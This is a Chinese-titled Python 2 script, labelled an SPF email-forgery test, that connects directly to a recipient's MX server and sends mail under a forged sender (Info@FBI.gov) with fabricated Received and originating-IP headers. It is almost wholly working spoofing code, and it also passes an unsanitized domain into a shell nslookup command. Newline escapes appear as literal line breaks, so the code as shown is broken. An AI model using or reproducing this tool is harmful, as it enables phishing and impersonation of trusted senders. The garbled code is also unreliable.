SPF邮件伪造漏洞测试脚本

测试脚本:

# -*- coding: utf-8 -*-
import socket,select,base64,os,re,time,datetime
class mail:
    def __init__(self):
        self.errmsg = ''
    def send(self, buf):
        try:
            byteswritten = 0
            while byteswritten < len(buf):
                byteswritten += self.__sockfd.send(buf[byteswritten:])
        except:
            pass

    def recvline(self, strline):
        detect_fds = [self.__sockfd,]
        rrdy, wrdy, erdy = select.select(detect_fds, [], [], 20)
        if len(rrdy) == 0:
            return False
        else:
            while True:
                try:
                    strtmp = self.__sockfd.recv(1)
                    strline[0] += strtmp[0]
                    if(strtmp[0] == '
'):
                        print 'server : '+strline[0]
                        break
                except:
                    return False
            return True

    def getresp(self, resp_str):
        while True:
            if(self.recvline(resp_str) == False):
                return False
            else:
                if resp_str[0][3] != '-':
                    break;
        return True

    def mailhelo(self, hostname):
        self.send('helo %s
'%hostname)
        print 'host say: helo %s'%hostname
        resp_str = ['',]
        if(self.getresp(resp_str) == False):
            return False
        if resp_str[0][0:3] == '250':
            return True
        else:
            self.errmsg = resp_str[0]
            return False

    def mailfrom(self, fromstr):
        self.send('mail from: <%s>
'%fromstr)
        print 'host say: mail from: <%s>'%fromstr
        resp_str = ['',]
        if(self.getresp(resp_str) == False):
            return False
        if resp_str[0][0:3] == '250':
            return True
        else:
            self.errmsg = resp_str[0]
            return False

    def mailto(self, tostr):
        self.send('rcpt to: <%s>
'%tostr)
        print 'host say: rcpt to: <%s>'%tostr
        resp_str = ['',]
        if(self.getresp(resp_str) == False):
            return False
        if resp_str[0][0:3] == '250':
            return True
        else:
            self.errmsg = resp_str[0]
            return False

    def maildata(self):
        self.send('data
')
        print 'host say: data'
        resp_str = ['',]
        if(self.getresp(resp_str) == False):
            return False
        if resp_str[0][0:3] == '354':
            return True
        else:
            self.errmsg = resp_str[0]
            return False

    def mailbody(self, bodystr):
        print 'host say: '+'.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'
'
        print 'host say: '+'From: "=?GB2312?B?zfU=?=" <'+self.From+'>
'
        print 'host say: '+'Subject:'+self.Subject+'?=
'
        print 'host say: '+'To: <'+self.To+'>
'
        print 'host say: '+bodystr

        self.send('Received: from ICE (unknown [8.8.8.8])
')
        self.send('.by 8.8.8.8 (Coremail) with SMTP id _bJCALesoEAeAFMU.1
')
        self.send('.for <'+self.To+'>; '+time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)",time.localtime())+'
')
        self.send('X-Originating-IP: [8.8.8.8]
')
        self.send('Date: '+time.strftime("%a, %d %b %Y %H:%M:%S +0800",time.localtime())+'
')
        self.send('From: '+self.FromName+ '<'+self.From+'>
')
        self.send('Subject: '+self.Subject+'
')
        self.send('To: <'+self.To+'>
')
        self.send('X-Priority: 1
')
        self.send('X-mailer: iceMail 1.0 [cn]
')
        self.send('Mime-Version: 1.0
')
        self.send('Content-Type: text/plain;
')
        self.send('.charset="GB2312"
')
        self.send('Content-Transfer-Encoding: quoted-printable

')
        self.send(bodystr)         
        self.send('
.
')
        resp_str = ['',]
        if(self.getresp(resp_str) == False):
            return False
        if resp_str[0][0:3] == '250':
            return True
        else:
            self.errmsg = resp_str[0]
            return False

    def mailquit(self):
        self.send('quit
')
        print 'host say: quit'
        resp_str = ['',]
        if(self.getresp(resp_str) == False):
            return False
        if resp_str[0][0:3] == '221':
            print 'server : Bye'
            print 'mail send ok'
            return True
        else:
            self.errmsg = resp_str[0]
            return False

    def txmail(self, hostname, mailfrom, rcptto, bodystr):
        mx_server_list = []
        mail_postfix = re.split('@',rcptto)
        #print mail_postfix
        try:
            outstr = os.popen('nslookup -type=mx -timeout=10 %s'%mail_postfix[1], 'r').read()
        except Exception, e:
            print 'DEBUG: Execute nslookup:',e
            return False

        linestr = re.split('
', outstr)
        for s in linestr:
            if re.match('.+[ |	]mail exchanger[ |	].+', s) != None:
                c = re.split(' |	', s)
                mx_server_list.append(c[len(c) - 1])

        if len(mx_server_list) == 0:
            self.errmsg = 'Can not find MX server'
            return False

        for mx_element in mx_server_list:
            return_val = True
            mx_server_ip = socket.gethostbyname(mx_element)
            tx_sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
            try:
                tx_sockfd.connect((mx_server_ip, 25))
                self.__sockfd = tx_sockfd
                resp_str = ['',]
                self.getresp(resp_str)
                if self.mailhelo(hostname) and self.mailfrom(mailfrom) 
                     and self.mailto(rcptto) and self.maildata() and self.mailbody(bodystr) and self.mailquit():
                    pass
                else:
                    return_val = False
            except Exception, e:
                return_val = False
            try:
                tx_sockfd.close()
            except:
                pass

            if return_val == True:
                break

        return return_val
    def sendMail(self):
        self.StmpHost=self.From.split("@")[1]
        self.txmail(self.StmpHost, self.From, self.To, self.Data)


if __name__ == '__main__':
    icemail=mail()
    icemail.Port=25
    icemail.To='YourEmail@163.com'
    icemail.From='Info@FBI.gov'
    icemail.FromName='邮件伪造漏洞测试'
    icemail.Subject='邮件伪造漏洞测试'
    icemail.Data='邮件伪造漏洞测试'
    icemail.sendMail()